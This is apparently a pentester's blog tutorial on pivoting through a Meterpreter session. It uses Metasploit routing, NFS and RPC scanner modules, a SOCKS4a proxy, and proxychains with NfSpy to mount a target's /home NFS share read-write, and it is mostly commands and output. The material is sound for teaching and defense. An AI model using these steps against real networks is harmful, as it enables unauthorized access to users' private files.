You’ve found an NFS share on a pentest, it’s sharing out your target’s home directories (/home) and some SAN with all of the Windows AD users “home” directories under /volumes/users/. You only have a meterpreter session though… enough back story, problem is that Metasploit doesn’t really have any auxiliary modules or otherwise to access the things on those shares. Please correct me if I’m wrong, but there also aren’t any tools for talking to NFS shares over TCP only proxies.

Enter NfSpy: https://github.com/bonsaiviking/NfSpy

While it’s original intent was aide in bypassing NFS security controls it has the right amount of options to make mounting NFS over Meterpreter possible.

First we setup up our route so that the aux module will go over the meterpreter session:

route add 192.168.1.0 255.255.255.0 1

The 1 on the end being the meterpreter session number it’s going to be going through. Next up is to find out what exports are available:

msf > use auxiliary/scanner/nfs/nfsmount
msf auxiliary(nfsmount) > show options

Module options (auxiliary/scanner/nfs/nfsmount):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    111              yes       The target port
   THREADS  1                yes       The number of concurrent threads<

msf auxiliary(nfsmount) > set RHOSTS 192.168.1.50
RHOSTS => 192.168.1.50
msf auxiliary(nfsmount) > run
[+] 192.168.1.50 NFS Export: /home [192.168.1.0/24]
[+] 192.168.1.50 NFS Export: /volume/users [192.168.1.0/24]

Looks like access is restricked by IP range, but luckily the victim is in said range. The final piece of information we need is the TCP port(s) that mountd is listening on. There is a metasploit module that can help use there too:

msf > use auxiliary/scanner/misc/sunrpc_portmapper
msf auxiliary(sunrpc_portmapper) > show options

Module options (auxiliary/scanner/misc/sunrpc_portmapper):

   Name     Current Setting  Required  Description<
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    111              yes       The target port
   THREADS  1                yes       The number of concurrent threads

msf auxiliary(sunrpc_portmapper) > set RHOSTS 192.168.1.50
RHOSTS => 192.168.1.50
msf auxiliary(sunrpc_portmapper) > run

[+] 192.168.1.50 - Programs available
        rpcbind - 111/tcp
        rpcbind - 111/udp
        status - 46797/udp
        status - 55731/tcp
        nfs - 2049/tcp
        nfs_acl - 2049/tcp
        nfs - 2049/udp
        nfs_acl - 2049/udp
        nlockmgr - 54167/udp
        nlockmgr - 38216/tcp
        mountd - 52569/udp<
        mountd - 37719/tcp
        mountd - 39099/udp
        mountd - 55763/tcp
        mountd - 37808/udp
        mountd - 54457/tcp
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Cool, so lets target /home first with the mountd tcp port of 37719. Keeping our route where it is we set up Metasploit’s socks proxy:

msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The address to listen on
  SRVPORT  1080             yes       The port to listen on.

msf auxiliary(socks4a) > set SRVPORT 9050
SRVPORT => 9050
msf auxiliary(socks4a) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server

I chose 9050 as my SRVPORT since I have proxychains already set up for that port (ala tor) and I highly recommend setting the SRVHOST to 127.0.0.1, unless you either firewall that port off from the Internet or don’t mind having the Anons of the world surf through your meterpreter session into your clients.

Next up it actually using nfspy (create or prep a directory so you can mount it first):

proxychains nfspy -d -o server=192.168.1.50:/home,nfsport=2049/tcp,mountport=37719/tcp,rw /root/nfspy/mount
ProxyChains-3.1 (http://proxychains.sf.net)
FUSE library version: 2.8.6
nullpath_ok: 0
unique: 1, opcode: INIT (26), nodeid: 0, insize: 56
INIT: 7.16
flags=0x0000007b
max_readahead=0x00020000
|S-chain|-<>-127.0.0.1:9050-<><>-192.168.1.50:37719-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-192.168.1.50:2049-<><>-OK
  INIT: 7.12
  flags=0x00000011
  max_readahead=0x00020000
  max_write=0x00020000
  unique: 1, success, outsize: 40

proxychains nfspy -d -o server=192.168.1.50:/home,nfsport=2049/tcp,mountport=37719/tcp,rw /root/nfspy/mount

Lets break that command down. Proxychains will wrap nfspy so that it goes through our Metasploit Socks4a proxy. The -d tells NfSpy to stay in the foreground, and -o for options. Server is our target IP, only use a hostname if your attacker box can resolve it to the right IP. The export we found with the Metasploit module is up next, and the default NFS port of 2049. The mountport option is from the port mapper Metasploit module. Both of these port options be sure you specify the /tcp or you’ll just be waiting as there isn’t really a time out and Proxychains doesn’t show UDP attempts. RW for read-write and finally the location to mount to.

If you see that second proxychains request for port 2049 it is usually a good indicator that it worked, if not you have probably run into anything from a permissions issue to a local mount problem. NfSpy uses fuse which can be really silent when problems arrise or give errors that tell you nothing meaningful. Thats why I’m using the -d option that keeps nfspy in the foreground, just so I can detect any issues. Lets see if that worked:

ls /root/nfspy/mount
user1
user2
user3
user4

Remember, big directories might take a while to navigate being tunneled like this. Here is the output from the ls on the nfspy side:

unique: 166, opcode: OPENDIR (27), nodeid: 34, insize: 48
   unique: 166, success, outsize: 32
unique: 167, opcode: READDIR (28), nodeid: 34, insize: 80
readdir[0] from 0
   unique: 167, success, outsize: 208
unique: 168, opcode: LOOKUP (1), nodeid: 34, insize: 46
LOOKUP /home/user3
getattr /home/user3
   NODEID: 40
   unique: 168, success, outsize: 144
unique: 169, opcode: LOOKUP (1), nodeid: 34, insize: 46
LOOKUP /home/user1
getattr /home/user1
   NODEID: 41
   unique: 169, success, outsize: 144
unique: 170, opcode: LOOKUP (1), nodeid: 34, insize: 46
LOOKUP /home/user4
getattr /home/user4
   NODEID: 42
   unique: 170, success, outsize: 144
unique: 171, opcode: LOOKUP (1), nodeid: 34, insize: 46
LOOKUP /home/user2
getattr /home/user2
   NODEID: 43
   unique: 171, success, outsize: 144

Thats it. You can mount read-write (rw) or read-only (ro) depending on what you want to do and how quiet you want to be.

Last note, you can’t just CTRL-C an nfspy mount, you need to use fusermount -u /root/nfspy/mount to kill it. It’s another fuse issue. If anyone has a better way to do this I’m all ears.